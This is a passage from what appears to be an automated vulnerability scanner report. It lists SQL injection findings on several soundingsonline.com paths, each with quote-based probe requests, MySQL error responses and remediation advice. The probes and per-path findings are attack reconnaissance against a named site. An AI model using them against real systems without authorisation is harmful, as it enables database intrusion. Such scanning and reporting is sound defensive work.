GET /boat-shop/new-gear?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:51 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/new-gear?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:54 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.144. http://www.soundingsonline.com/boat-shop/on-powerboats [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/on-powerboats
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/on-powerboats?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/on-powerboats?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:57 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.145. http://www.soundingsonline.com/boat-shop/on-sailboats [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/on-sailboats
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/on-sailboats?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:32 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/on-sailboats?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:46 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.146. http://www.soundingsonline.com/boat-shop/q-a-a [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/q-a-a
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/q-a-a?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/q-a-a?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:51 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.147. http://www.soundingsonline.com/boat-shop/sea-savvy [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/sea-savvy
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/sea-savvy?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:39 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/sea-savvy?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:45 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.148. http://www.soundingsonline.com/boat-shop/tech-talk [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/tech-talk
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/tech-talk?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:25 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/tech-talk?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:29 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.149. http://www.soundingsonline.com/boat-shop/used-boat-review [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/used-boat-review
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/used-boat-review?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:55 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/used-boat-review?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:58 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.150. http://www.soundingsonline.com/calendar [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/calendar
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /calendar?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:59 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /calendar?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:39:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:39:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.151. http://www.soundingsonline.com/career-opportunities [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/career-opportunities
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /career-opportunities?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
